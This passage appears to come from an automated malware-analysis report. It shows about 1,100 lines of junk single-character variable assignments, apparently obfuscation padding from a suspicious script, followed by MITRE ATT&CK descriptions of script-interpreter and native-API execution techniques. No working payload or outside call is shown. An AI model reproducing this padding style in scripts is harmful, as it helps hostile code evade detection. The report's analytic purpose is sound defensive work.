402	hyyrwcuz = "c";
403	hyyrwcuz = "C";
404	hyyrwcuz = "H";
405	hyyrwcuz = "Z";
406	hyyrwcuz = "c";
407	hyyrwcuz = "l";
408	hyyrwcuz = "t";
409	hyyrwcuz = "H";
410	hyyrwcuz = "y";
411	hyyrwcuz = "P";
412	hyyrwcuz = "K";
413	hyyrwcuz = "G";
414	hyyrwcuz = "e";
415	hyyrwcuz = "a";
416	hyyrwcuz = "O";
417	hyyrwcuz = "s";
418	hyyrwcuz = "C";
419	hyyrwcuz = "G";
420	hyyrwcuz = "q";
421	molhade = "S";
422	molhade = "n";
423	molhade = "J";
424	molhade = "k";
425	molhade = "G";
426	molhade = "r";
427	molhade = "w";
428	molhade = "j";
429	molhade = "c";
430	molhade = "E";
431	molhade = "F";
432	molhade = "h";
433	molhade = "c";
434	molhade = "x";
435	molhade = "F";
436	molhade = "N";
437	molhade = "n";
438	molhade = "Z";
439	molhade = "q";
440	molhade = "d";
441	molhade = "N";
442	molhade = "R";
443	molhade = "w";
444	molhade = "C";
445	molhade = "x";
446	molhade = "t";
447	molhade = "w";
448	molhade = "N";
449	molhade = "K";
450	molhade = "p";
451	molhade = "N";
452	molhade = "Z";
453	molhade = "s";
454	molhade = "A";
455	molhade = "U";
456	molhade = "K";
457	molhade = "l";
458	molhade = "a";
459	molhade = "y";
460	molhade = "o";
461	molhade = "s";
462	molhade = "l";
463	molhade = "q";
464	molhade = "o";
465	eszjen = "u";
466	eszjen = "B";
467	eszjen = "w";
468	eszjen = "Q";
469	eszjen = "I";
470	eszjen = "V";
471	eszjen = "J";
472	eszjen = "z";
473	eszjen = "N";
474	eszjen = "G";
475	eszjen = "F";
476	eszjen = "h";
477	eszjen = "R";
478	eszjen = "J";
479	eszjen = "G";
480	eszjen = "k";
481	eszjen = "y";
482	eszjen = "w";
483	eszjen = "f";
484	eszjen = "w";
485	eszjen = "i";
486	eszjen = "y";
487	eszjen = "T";
488	eszjen = "E";
489	eszjen = "W";
490	eszjen = "Z";
491	eszjen = "T";
492	eszjen = "G";
493	eszjen = "X";
494	eszjen = "q";
495	eszjen = "m";
496	eszjen = "c";
497	eszjen = "N";
498	eszjen = "S";
499	eszjen = "E";
500	eszjen = "n";
501	eszjen = "J";
502	eszjen = "O";
503	eszjen = "q";
504	eszjen = "w";
505	eszjen = "T";
506	nztrcold = "z";
507	nztrcold = "p";
508	nztrcold = "J";
509	nztrcold = "a";
510	nztrcold = "T";
511	nztrcold = "i";
512	nztrcold = "Z";
513	nztrcold = "W";
514	nztrcold = "u";
515	nztrcold = "e";
516	nztrcold = "l";
517	nztrcold = "t";
518	nztrcold = "O";
519	nztrcold = "V";
520	nztrcold = "M";
521	nztrcold = "v";
522	nztrcold = "D";
523	nztrcold = "G";
524	nztrcold = "b";
525	nztrcold = "Y";
526	nztrcold = "L";
527	nztrcold = "E";
528	nztrcold = "E";
529	nztrcold = "D";
530	nztrcold = "G";
531	nztrcold = "N";
532	nztrcold = "y";
533	nztrcold = "S";
534	nztrcold = "O";
535	nztrcold = "D";
536	nztrcold = "F";
537	nztrcold = "N";
538	nztrcold = "b";
539	nztrcold = "s";
540	nztrcold = "U";
541	nztrcold = "R";
542	nztrcold = "X";
543	nztrcold = "i";
544	nztrcold = "r";
545	nztrcold = "A";
546	nztrcold = "p";
547	irfuc = "I";
548	irfuc = "s";
549	irfuc = "k";
550	irfuc = "F";
551	irfuc = "q";
552	irfuc = "h";
553	irfuc = "a";
554	irfuc = "J";
555	irfuc = "H";
556	irfuc = "D";
557	irfuc = "t";
558	irfuc = "F";
559	irfuc = "w";
560	irfuc = "u";
561	irfuc = "Q";
562	irfuc = "w";
563	irfuc = "k";
564	irfuc = "M";
565	irfuc = "v";
566	irfuc = "w";
567	irfuc = "C";
568	irfuc = "o";
569	irfuc = "Y";
570	irfuc = "Y";
571	irfuc = "J";
572	irfuc = "E";
573	irfuc = "g";
574	irfuc = "n";
575	irfuc = "R";
576	irfuc = "D";
577	irfuc = "0";
578	gwqqwp = "A";
579	gwqqwp = "K";
580	gwqqwp = "H";
581	gwqqwp = "d";
582	gwqqwp = "L";
583	gwqqwp = "P";
584	gwqqwp = "M";
585	gwqqwp = "q";
586	gwqqwp = "l";
587	gwqqwp = "R";
588	gwqqwp = "d";
589	ilbxime = "I";
590	ilbxime = "p";
591	ilbxime = "J";
592	ilbxime = "r";
593	ilbxime = "O";
594	ilbxime = "B";
595	ilbxime = "o";
596	ilbxime = "o";
597	ilbxime = "V";
598	ilbxime = "A";
599	ilbxime = "F";
600	ilbxime = "H";
601	ilbxime = "r";
602	ilbxime = "c";
603	ilbxime = "v";
604	ilbxime = "U";
605	ilbxime = "Q";
606	ilbxime = "D";
607	ilbxime = "m";
608	ilbxime = "N";
609	ilbxime = "Q";
610	ilbxime = "Y";
611	ilbxime = "N";
612	ilbxime = "v";
613	kpvvdxagi = "B";
614	kpvvdxagi = "f";
615	kpvvdxagi = "R";
616	kpvvdxagi = "p";
617	kpvvdxagi = "J";
618	kpvvdxagi = "o";
619	kpvvdxagi = "f";
620	kpvvdxagi = "P";
621	kpvvdxagi = "F";
622	kpvvdxagi = "Z";
623	kpvvdxagi = "m";
624	kpvvdxagi = "M";
625	kpvvdxagi = "P";
626	kpvvdxagi = "h";
627	kpvvdxagi = "A";
628	kpvvdxagi = "B";
629	kpvvdxagi = "g";
630	kpvvdxagi = "R";
631	kpvvdxagi = "u";
632	kpvvdxagi = "i";
633	kpvvdxagi = "Y";
634	kpvvdxagi = "g";
635	kpvvdxagi = "P";
636	kpvvdxagi = "g";
637	kpvvdxagi = "F";
638	kpvvdxagi = "Z";
639	kpvvdxagi = "R";
640	kpvvdxagi = "w";
641	kpvvdxagi = "\\";
642	odhftdg = "D";
643	odhftdg = "G";
644	odhftdg = "n";
645	odhftdg = "h";
646	odhftdg = "a";
647	odhftdg = "q";
648	odhftdg = "l";
649	odhftdg = "J";
650	odhftdg = "d";
651	odhftdg = "g";
652	odhftdg = "r";
653	odhftdg = "b";
654	odhftdg = "v";
655	odhftdg = "S";
656	odhftdg = "4";
657	icodve = "C";
658	icodve = "L";
659	icodve = "P";
660	icodve = "j";
661	icodve = "q";
662	icodve = "C";
663	icodve = "G";
664	icodve = "I";
665	icodve = "X";
666	icodve = "p";
667	icodve = "v";
668	icodve = "p";
669	icodve = "s";
670	icodve = "M";
671	icodve = "f";
672	icodve = "U";
673	icodve = "D";
674	icodve = "F";
675	icodve = "v";
676	icodve = "c";
677	icodve = "a";
678	icodve = "H";
679	icodve = "e";
680	icodve = "b";
681	icodve = "m";
682	uwmyvuiu = "F";
683	uwmyvuiu = "i";
684	ksnylhur = "D";
685	ksnylhur = "c";
686	ksnylhur = "H";
687	ksnylhur = "O";
688	ksnylhur = "m";
689	ksnylhur = "j";
690	ksnylhur = "a";
691	ksnylhur = "s";
692	ksnylhur = "d";
693	ksnylhur = "X";
694	ksnylhur = "Q";
695	ksnylhur = "D";
696	ksnylhur = "c";
697	ksnylhur = "h";
698	ksnylhur = "r";
699	ksnylhur = "T";
700	ksnylhur = "W";
701	ksnylhur = "j";
702	ksnylhur = "q";
703	ksnylhur = "v";
704	ksnylhur = "y";
705	ksnylhur = "O";
706	ksnylhur = "k";
707	ksnylhur = "G";
708	ksnylhur = "k";
709	ksnylhur = "x";
710	ksnylhur = "g";
711	ksnylhur = "G";
712	ksnylhur = "g";
713	fwddpiz = "Z";
714	fwddpiz = "L";
715	fwddpiz = "d";
716	fwddpiz = "A";
717	fwddpiz = "t";
718	fwddpiz = "L";
719	fwddpiz = "J";
720	fwddpiz = "c";
721	fwddpiz = "H";
722	fwddpiz = "S";
723	fwddpiz = "M";
724	fwddpiz = "e";
725	fwddpiz = "z";
726	fwddpiz = "k";
727	fwddpiz = "F";
728	fwddpiz = "q";
729	fwddpiz = "I";
730	fwddpiz = "p";
731	fwddpiz = "o";
732	fwddpiz = "s";
733	fwddpiz = "v";
734	fwddpiz = "t";
735	fwddpiz = "l";
736	fwddpiz = "N";
737	fwddpiz = "p";
738	fwddpiz = "Z";
739	fwddpiz = "F";
740	fwddpiz = "n";
741	fwddpiz = "U";
742	fwddpiz = "T";
743	fwddpiz = "O";
744	fwddpiz = "K";
745	fwddpiz = "n";
746	fwddpiz = "I";
747	fwddpiz = "q";
748	fwddpiz = "k";
749	fwddpiz = "Q";
750	fwddpiz = "m";
751	fwddpiz = "G";
752	fwddpiz = "&";
753	qrumvcb = "T";
754	qrumvcb = "q";
755	qrumvcb = "J";
756	qrumvcb = "J";
757	qrumvcb = "x";
758	qrumvcb = "S";
759	qrumvcb = "t";
760	qrumvcb = "s";
761	qrumvcb = "e";
762	qrumvcb = "n";
763	qrumvcb = "J";
764	qrumvcb = "T";
765	qrumvcb = "a";
766	qrumvcb = "R";
767	qrumvcb = "r";
768	qrumvcb = "o";
769	qrumvcb = "L";
770	qrumvcb = "W";
771	qrumvcb = "l";
772	qrumvcb = "v";
773	qrumvcb = "q";
774	qrumvcb = "L";
775	qrumvcb = "C";
776	qrumvcb = "E";
777	qrumvcb = "x";
778	qrumvcb = "R";
779	qrumvcb = "K";
780	qrumvcb = "k";
781	qrumvcb = "u";
782	qrumvcb = "j";
783	qrumvcb = "Z";
784	qrumvcb = "H";
785	qrumvcb = "m";
786	qrumvcb = "R";
787	tcuzvsd = "m";
788	tcuzvsd = "S";
789	tcuzvsd = "R";
790	tcuzvsd = "q";
791	tcuzvsd = "G";
792	tcuzvsd = "n";
793	tcuzvsd = "y";
794	tcuzvsd = "v";
795	tcuzvsd = "Q";
796	tcuzvsd = "x";
797	tcuzvsd = "t";
798	tcuzvsd = "O";
799	tcuzvsd = "l";
800	tcuzvsd = "s";
801	tcuzvsd = "q";
802	tcuzvsd = "m";
803	tcuzvsd = "O";
804	tcuzvsd = "x";
805	tcuzvsd = "Q";
806	qduzucim = "r";
807	qduzucim = "Z";
808	qduzucim = "k";
809	qduzucim = "a";
810	qduzucim = "r";
811	qduzucim = "r";
812	qduzucim = "t";
813	qduzucim = "Y";
814	qduzucim = "p";
815	qduzucim = "G";
816	qduzucim = "z";
817	qduzucim = "Z";
818	qduzucim = "L";
819	qduzucim = "L";
820	qduzucim = "H";
821	qduzucim = "A";
822	qduzucim = "e";
823	qduzucim = "C";
824	qduzucim = "I";
825	qduzucim = "V";
826	qduzucim = "D";
827	qduzucim = "O";
828	qduzucim = "g";
829	qduzucim = "a";
830	qduzucim = "r";
831	qduzucim = "k";
832	qduzucim = "R";
833	qduzucim = "t";
834	qduzucim = "n";
835	qduzucim = "T";
836	qduzucim = "M";
837	qduzucim = "a";
838	qduzucim = "v";
839	qduzucim = "n";
840	qduzucim = "X";
841	qduzucim = "X";
842	qduzucim = "O";
843	aecxtupum = "Q";
844	aecxtupum = "x";
845	aecxtupum = "H";
846	aecxtupum = "q";
847	aecxtupum = "_";
848	phidys = "F";
849	phidys = "U";
850	phidys = "Z";
851	phidys = "w";
852	phidys = "E";
853	phidys = "T";
854	phidys = "w";
855	phidys = "n";
856	phidys = "l";
857	phidys = "V";
858	phidys = "b";
859	phidys = "Y";
860	phidys = "c";
861	phidys = "h";
862	phidys = "F";
863	phidys = "E";
864	phidys = "c";
865	phidys = "n";
866	phidys = "S";
867	phidys = "v";
868	phidys = "F";
869	phidys = "E";
870	phidys = "q";
871	phidys = "v";
872	phidys = "r";
873	phidys = "d";
874	phidys = "@";
875	ubuclx = "L";
876	ubuclx = "G";
877	ubuclx = "k";
878	ubuclx = "J";
879	ubuclx = "y";
880	ubuclx = "p";
881	ubuclx = "u";
882	ubuclx = "M";
883	ubuclx = "P";
884	ubuclx = "X";
885	ubuclx = "Y";
886	ubuclx = "b";
887	ubuclx = "t";
888	ubuclx = "L";
889	ubuclx = "g";
890	ubuclx = "I";
891	ubuclx = "P";
892	ubuclx = "T";
893	ubuclx = "b";
894	ubuclx = "q";
895	ubuclx = "I";
896	ijbwy = "V";
897	ijbwy = "L";
898	ijbwy = "k";
899	ijbwy = "q";
900	ijbwy = "B";
901	ijbwy = "c";
902	ijbwy = "l";
903	ijbwy = "c";
904	ijbwy = "w";
905	ijbwy = "w";
906	wsqrfxibe = "r";
907	wsqrfxibe = "d";
908	wsqrfxibe = "I";
909	wsqrfxibe = "i";
910	wsqrfxibe = "Q";
911	wsqrfxibe = "v";
912	wsqrfxibe = "y";
913	wsqrfxibe = "V";
914	wsqrfxibe = "D";
915	wsqrfxibe = "J";
916	wsqrfxibe = "W";
917	wsqrfxibe = "B";
918	wsqrfxibe = "j";
919	wsqrfxibe = "I";
920	wsqrfxibe = "K";
921	wsqrfxibe = "p";
922	wsqrfxibe = "Q";
923	wsqrfxibe = "D";
924	wsqrfxibe = "h";
925	wsqrfxibe = "j";
926	wsqrfxibe = "P";
927	wsqrfxibe = "T";
928	wsqrfxibe = "X";
929	wsqrfxibe = "e";
930	wsqrfxibe = "R";
931	wsqrfxibe = "n";
932	wsqrfxibe = "R";
933	wsqrfxibe = "z";
934	wsqrfxibe = "Y";
935	wsqrfxibe = "w";
936	wsqrfxibe = "D";
937	wsqrfxibe = "s";
938	wsqrfxibe = "L";
939	wsqrfxibe = "l";
940	wsqrfxibe = "b";
941	wsqrfxibe = "q";
942	wsqrfxibe = "Z";
943	wsqrfxibe = "3";
944	ssmzt = "R";
945	ssmzt = "J";
946	ssmzt = "d";
947	ssmzt = "n";
948	ssmzt = "a";
949	ssmzt = "E";
950	ssmzt = "w";
951	ssmzt = "r";
952	ssmzt = "p";
953	ssmzt = "z";
954	ssmzt = "M";
955	ssmzt = "M";
956	ssmzt = "W";
957	ssmzt = "C";
958	ssmzt = "q";
959	ssmzt = "j";
960	ssmzt = "o";
961	ssmzt = "A";
962	ssmzt = "q";
963	ssmzt = "P";
964	ssmzt = "t";
965	ssmzt = "g";
966	ssmzt = "q";
967	ssmzt = "j";
968	ssmzt = "U";
969	ssmzt = "Z";
970	ssmzt = "M";
971	ssmzt = "B";
972	ssmzt = "N";
973	ssmzt = "O";
974	ssmzt = "p";
975	ssmzt = "h";
976	ssmzt = "C";
977	ssmzt = "q";
978	ssmzt = "g";
979	ssmzt = "R";
980	ssmzt = "P";
981	ssmzt = "s";
982	ssmzt = "6";
983	xzvwal = "k";
984	xzvwal = "Q";
985	xzvwal = "J";
986	xzvwal = "a";
987	xzvwal = "O";
988	xzvwal = "w";
989	xzvwal = "K";
990	xzvwal = "p";
991	xzvwal = "y";
992	xzvwal = "b";
993	xzvwal = "C";
994	xzvwal = "n";
995	xzvwal = "x";
996	xzvwal = "r";
997	xzvwal = "u";
998	xzvwal = "l";
999	xzvwal = "X";
1000	xzvwal = "M";
1001	xzvwal = "o";
1002	xzvwal = "H";
1003	xzvwal = "S";
1004	xzvwal = "J";
1005	xzvwal = "K";
1006	xzvwal = "b";
1007	xzvwal = "a";
1008	xzvwal = "e";
1009	xzvwal = "H";
1010	xzvwal = "W";
1011	xzvwal = "l";
1012	xzvwal = "g";
1013	xzvwal = "S";
1014	xzvwal = "v";
1015	xzvwal = "t";
1016	xzvwal = "Z";
1017	xzvwal = "c";
1018	xzvwal = "o";
1019	xzvwal = "P";
1020	xzvwal = "G";
1021	xzvwal = "l";
1022	xzvwal = "j";
1023	xzvwal = "z";
1024	xzvwal = "O";
1025	xzvwal = "l";
1026	jglkyk = "e";
1027	jglkyk = "c";
1028	jglkyk = "q";
1029	jglkyk = "l";
1030	jglkyk = "s";
1031	jglkyk = "n";
1032	jglkyk = "q";
1033	jglkyk = "p";
1034	jglkyk = "e";
1035	jglkyk = "G";
1036	jglkyk = "Q";
1037	jglkyk = "c";
1038	jglkyk = "L";
1039	jglkyk = "V";
1040	jglkyk = "l";
1041	jglkyk = "p";
1042	jglkyk = "Q";
1043	jglkyk = "Z";
1044	jglkyk = "a";
1045	jglkyk = "P";
1046	jglkyk = "H";
1047	jglkyk = "Y";
1048	jglkyk = "H";
1049	jglkyk = "a";
1050	jglkyk = "c";
1051	jglkyk = "M";
1052	jglkyk = "i";
1053	jglkyk = "d";
1054	jglkyk = "I";
1055	jglkyk = "k";
1056	jglkyk = "e";
1057	jglkyk = "y";
1058	jglkyk = "d";
1059	jglkyk = "N";
1060	jglkyk = "D";
1061	jglkyk = "Y";
1062	jglkyk = "z";
1063	jglkyk = "R";
1064	jglkyk = "5";
1065	hcexddyzd = "w";
1066	hcexddyzd = "b";
1067	hcexddyzd = "o";
1068	hcexddyzd = "K";
1069	hcexddyzd = "E";
1070	hcexddyzd = "W";
1071	hcexddyzd = "G";
1072	hcexddyzd = "K";
1073	hcexddyzd = "k";
1074	hcexddyzd = "N";
1075	hcexddyzd = "A";
1076	hcexddyzd = "N";
1077	hcexddyzd = "Y";
1078	hcexddyzd = "s";
1079	hcexddyzd = "c";
1080	hcexddyzd = "h";
1081	hcexddyzd = "A";
1082	hcexddyzd = "M";
1083	hcexddyzd = "N";
1084	wurpix = "T";
1085	wurpix = "Y";
1086	wurpix = "I";
1087	wurpix = "D";
1088	wurpix = "d";
1089	wurpix = "b";
1090	wurpix = "e";
1091	wurpix = "G";
1092	wurpix = "n";
1093	wurpix = "H";
1094	wurpix = "V";
1095	wurpix = "v";
1096	wurpix = "B";
1097	wurpix = "F";
1098	wurpix = "Q";
1099	wurpix = "Y";
1100	wurpix = "G";
1101	wurpix = "Z";
1102	wurpix = "V";
1103	wurpix = "A";
1104	wurpix = "a";
1105	wurpix = "i";
1106	wurpix = "d";
1107	wurpix = "n";
1108	wurpix = "m";
1109	wurpix = "P";
1110	wurpix = "J";
1111	wurpix = "w";
1112	wurpix = "K";
1113	wurpix = "V";
1114	wurpix = "G";
1115	wurpix = "y";
1116	wurpix = "i";
1117	wurpix = "e";
1118	wurpix = "L";
1119	wurpix = "j";
1120	wurpix = "I";
1121	wurpix = "E";
1122	wurpix = "J";
1123	wurpix = "L";
1124	wurpix = "B";
1125	wurpix = "V";
1126	wurpix = "v";
1127	wurpix = "P";
1128	wurpix = "j";
1129	lpcxwgmv = "s";
1130	lpcxwgmv = ".";
1131	pcfeflml = "k";
1132	pcfeflml = "v";
1133	pcfeflml = "H";
1134	pcfeflml = "w";
1135	pcfeflml = "T";
1136	pcfeflml = "v";
1137	pcfeflml = "e";
1138	pcfeflml = "g";
1139	pcfeflml = "w";
1140	pcfeflml = "O";
1141	pcfeflml = "Z";
1142	pcfeflml = "m";
1143	pcfeflml = "G";
1144	pcfeflml = "j";
1145	pcfeflml = "U";
1146	pcfeflml = "G";
1147	pcfeflml = "A";
1148	pcfeflml = "v";
1149	pcfeflml = "A";
1150	pcfeflml = "n";
1151	pcfeflml = "M";
1152	pcfeflml = "R";
1153	pcfeflml = "N";
1154	pcfeflml = "T";
1155	pcfeflml = "n";
1156	pcfeflml = "a";
1157	pcfeflml = "P";
1158	pcfeflml = "e";
1159	pcfeflml = "A";
1160	pcfeflml = "D";
1161	pcfeflml = "x";
1162	pcfeflml = "D";
1163	pcfeflml = "b";
1164	pcfeflml = "u";
1165	pcfeflml = "8";
1166	uyyhb = "G";
1167	uyyhb = "V";
1168	uyyhb = "R";
1169	uyyhb = "J";
1170	uyyhb = "j";
1171	uyyhb = "r";
1172	uyyhb = "D";
1173	uyyhb = "U";
1174	uyyhb = "w";
1175	uyyhb = "C";
1176	uyyhb = "l";
1177	uyyhb = "t";
1178	uyyhb = "f";
1179	uyyhb = "d";
1180	uyyhb = "O";
1181	uyyhb = "w";
1182	uyyhb = "1";
1183	wsadxsvnf = "A";
1184	wsadxsvnf = "o";
1185	wsadxsvnf = "q";
1186	wsadxsvnf = "t";
1187	wsadxsvnf = "m";
1188	wsadxsvnf = "S";
1189	huodubjh = "A";
1190	huodubjh = "d";
1191	huodubjh = "x";
1192	huodubjh = "W";
1193	huodubjh = "A";
1194	huodubjh = "x";
1195	huodubjh = "y";
1196	huodubjh = "H";
1197	huodubjh = "J";
1198	huodubjh = "Q";
1199	huodubjh = "x";
1200	aaucsog = "K";
1201	aaucsog = "O";
1202	aaucsog = "v";
1203	aaucsog = "Y";
1204	aaucsog = "T";
1205	aaucsog = "p";
1206	aaucsog = "k";
1207	aaucsog = "b";
1208	aaucsog = "i";
1209	aaucsog = "J";
1210	aaucsog = "q";
1211	aaucsog = "k";
1212	aaucsog = "f";
1213	aaucsog = "n";
1214	aaucsog = "A";
1215	aaucsog = "M";
1216	aaucsog = "q";
1217	aaucsog = "n";
1218	aaucsog = "k";
1219	aaucsog = "x";
1220	aaucsog = "m";
1221	aaucsog = "Z";
1222	aaucsog = "G";
1223	aaucsog = "M";
1224	aaucsog = "t";
1225	aaucsog = "p";
1226	aaucsog = "c";
1227	aaucsog = "C";
1228	aaucsog = "T";
1229	aaucsog = "J";
1230	aaucsog = "C";
1231	aaucsog = "S";
1232	aaucsog = "H";
1233	aaucsog = "N";
1234	aaucsog = "n";
1235	aaucsog = "-";
1236	tbaei = "N";
1237	tbaei = "u";
1238	tbaei = "K";
1239	tbaei = "c";
1240	tbaei = "K";
1241	tbaei = "L";
1242	tbaei = "C";
1243	tbaei = "z";
1244	tbaei = "F";
1245	tbaei = "m";
1246	tbaei = "r";
1247	tbaei = "j";
1248	tbaei = "Y";
1249	qxxhiz = "k";
1250	qxxhiz = "I";
1251	qxxhiz = "n";
1252	qxxhiz = "K";
1253	qxxhiz = "U";
1254	qxxhiz = "K";
1255	qxxhiz = "H";
1256	qxxhiz = "h";
1257	qxxhiz = "Q";
1258	qxxhiz = "N";
1259	qxxhiz = "p";
1260	qxxhiz = "P";
1261	qxxhiz = "W";
1262	qxxhiz = "w";
1263	qxxhiz = "Y";
1264	qxxhiz = "A";
1265	qxxhiz = "\"";
1266	ogvjboroh = "a";
1267	ogvjboroh = "s";
1268	ogvjboroh = "h";
1269	ogvjboroh = "M";
1270	ogvjboroh = "Q";
1271	ogvjboroh = "e";
1272	ogvjboroh = "q";
1273	ogvjboroh = "Y";
1274	ogvjboroh = "h";
1275	ogvjboroh = "C";
1276	ogvjboroh = "w";
1277	ogvjboroh = "J";
1278	ogvjboroh = "o";
1279	ogvjboroh = "Y";
1280	ogvjboroh = "Z";
1281	ogvjboroh = "j";
1282	ogvjboroh = "S";
1283	ogvjboroh = "L";
1284	ogvjboroh = "c";
1285	ogvjboroh = "D";
1286	ogvjboroh = "S";
1287	ogvjboroh = "E";
1288	ogvjboroh = "A";
1289	ogvjboroh = "w";
1290	ogvjboroh = "T";
1291	ogvjboroh = "n";
1292	ogvjboroh = "H";
1293	ogvjboroh = "F";
1294	ytwklcpl = "A";
1295	ytwklcpl = "l";
1296	ytwklcpl = "A";
1297	ytwklcpl = "I";
1298	ytwklcpl = "I";
1299	ytwklcpl = "J";
1300	ytwklcpl = "t";
1301	hkmltcf = "v";
1302	hkmltcf = "E";
1303	hkmltcf = "T";
1304	hkmltcf = "d";
1305	hkmltcf = "J";
1306	hkmltcf = "k";
1307	hkmltcf = "s";
1308	hkmltcf = "i";
1309	hkmltcf = "z";
1310	hkmltcf = "m";
1311	hkmltcf = "L";
1312	hkmltcf = "P";
1313	hkmltcf = "S";
1314	hkmltcf = "A";
1315	hkmltcf = "g";
1316	hkmltcf = "c";
1317	yegqnghm = "w";
1318	yegqnghm = "Y";
1319	yegqnghm = "v";
1320	yegqnghm = "b";
1321	yegqnghm = "r";
1322	yegqnghm = "r";
1323	yegqnghm = "K";
1324	yegqnghm = "A";
1325	yegqnghm = "S";
1326	yegqnghm = "a";
1327	yegqnghm = "G";
1328	yegqnghm = "K";
1329	yegqnghm = "n";
1330	yegqnghm = "O";
1331	yegqnghm = "J";
1332	yegqnghm = "s";
1333	yegqnghm = "h";
1334	yegqnghm = "e";
1335	yegqnghm = "s";
1336	yegqnghm = "H";
1337	ntznoycv = "e";
1338	ntznoycv = "s";
1339	ntznoycv = "L";
1340	ntznoycv = "A";
1341	ntznoycv = "q";
1342	ntznoycv = "A";
1343	ntznoycv = "K";
1344	ntznoycv = "W";
1345	ntznoycv = "X";
1346	ntznoycv = "r";
1347	ntznoycv = "Q";
1348	ntznoycv = "B";
1349	ntznoycv = "Z";
1350	ntznoycv = "v";
1351	ntznoycv = "v";
1352	ntznoycv = "T";
1353	ntznoycv = "K";
1354	ntznoycv = "t";
1355	ntznoycv = "d";
1356	ntznoycv = "j";
1357	ntznoycv = "d";
1358	ntznoycv = "p";
1359	ntznoycv = "V";
1360	ntznoycv = "Z";
1361	ntznoycv = "r";
1362	ntznoycv = "n";
1363	ntznoycv = "k";
1364	ntznoycv = "H";
1365	ntznoycv = "y";
1366	ntznoycv = "F";
1367	ntznoycv = "E";
1368	ntznoycv = "L";
1369	ntznoycv = "V";
1370	ntznoycv = "g";
1371	ntznoycv = "g";
1372	ntznoycv = "h";
1373	ntznoycv = "i";
1374	ntznoycv = "O";
1375	ntznoycv = "Q";
1376	ntznoycv = "M";
1377	ntznoycv = "t";
1378	ntznoycv = "F";
1379	ntznoycv = " ";
1380	acjfaldj = "q";
1381	acjfaldj = "e";
1382	acjfaldj = "W";
1383	acjfaldj = "z";
1384	acjfaldj = "C";
1385	acjfaldj = "z";
1386	acjfaldj = "n";
1387	acjfaldj = "S";
1388	acjfaldj = "w";
1389	acjfaldj = "E";
1390	acjfaldj = "g";
1391	acjfaldj = "m";
1392	acjfaldj = "i";
1393	acjfaldj = "J";
1394	acjfaldj = "c";
1395	acjfaldj = "J";
1396	acjfaldj = "P";
1397	acjfaldj = "H";
1398	acjfaldj = "g";
1399	acjfaldj = "k";
1400	acjfaldj = "R";
1401	acjfaldj = "l";
1402	acjfaldj = "K";
1403	tzbgzfyc = "Z";
1404	tzbgzfyc = "x";
1405	tzbgzfyc = "E";
1406	tzbgzfyc = "G";
1407	tzbgzfyc = "J";
1408	tzbgzfyc = "M";
1409	tzbgzfyc = "M";
1410	tzbgzfyc = "j";
1411	tzbgzfyc = "H";
1412	tzbgzfyc = "v";
1413	tzbgzfyc = "e";
1414	tzbgzfyc = "q";
1415	tzbgzfyc = "n";
1416	tzbgzfyc = "r";
1417	tzbgzfyc = "f";
1418	tzbgzfyc = "B";
1419	tzbgzfyc = "p";
1420	tzbgzfyc = "J";
1421	tzbgzfyc = "o";
1422	tzbgzfyc = "W";
1423	tzbgzfyc = "%";
1424	vzoizmv = "k";
1425	vzoizmv = "R";
1426	vzoizmv = "k";
1427	vzoizmv = "h";
1428	vzoizmv = "W";
1429	vzoizmv = "I";
1430	vzoizmv = "M";
1431	vzoizmv = "o";
1432	vzoizmv = "B";
1433	vzoizmv = "T";
1434	vzoizmv = "J";
1435	vzoizmv = "h";
1436	udrov = "E";
1437	udrov = "j";
1438	udrov = "a";
1439	udrov = "A";
1440	udrov = "X";
1441	udrov = "G";
1442	udrov = "X";
1443	udrov = "i";
1444	udrov = "o";
1445	udrov = "h";
1446	udrov = "O";
1447	udrov = "W";
1448	udrov = "L";
1449	udrov = "O";
1450	udrov = "K";
1451	udrov = "A";
1452	udrov = "k";
1453	udrov = "f";
1454	udrov = "t";
1455	udrov = "U";
1456	udrov = "y";
1457	udrov = "n";
1458	udrov = "k";
1459	udrov = "D";
1460	udrov = "s";
1461	udrov = "Q";
1462	udrov = "A";
1463	udrov = "p";
1464	udrov = "M";
1465	udrov = "K";
1466	udrov = "S";
1467	udrov = "2";
1468	xhfgr = "B";
1469	xhfgr = "i";
1470	xhfgr = "s";
1471	xhfgr = "t";
1472	xhfgr = "x";
1473	xhfgr = "F";
1474	xhfgr = "Q";
1475	xhfgr = "J";
1476	xhfgr = "P";
1477	xhfgr = "s";
1478	xhfgr = "c";
1479	xhfgr = "m";
1480	xhfgr = "F";
1481	xhfgr = "P";
1482	xhfgr = "A";
1483	xhfgr = "o";
1484	xhfgr = "p";
1485	xhfgr = "d";
1486	xhfgr = "l";
1487	xhfgr = "t";
1488	xhfgr = "W";
1489	xhfgr = "s";
1490	xhfgr = "L";
1491	xhfgr = "B";
1492	xhfgr = "C";
1493	ssdwass = "X";
1494	ssdwass = "R";
1495	ssdwass = "O";
1496	ssdwass = "J";
1497	ssdwass = "C";
1498	ssdwass = "P";
1499	ssdwass = "l";
1500	ssdwass = "W";
1501	ssdwass = "D";
1502	ssdwass = "x";
1503	ssdwass = "V";
1504	ssdwass = "C";
1505	ssdwass = "d";
1506	ssdwass = "b";
1507	ssdwass = "A";
1508	ssdwass = "t";
1509	ssdwass = "k";
1510	yriorm ( );	yriorm() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

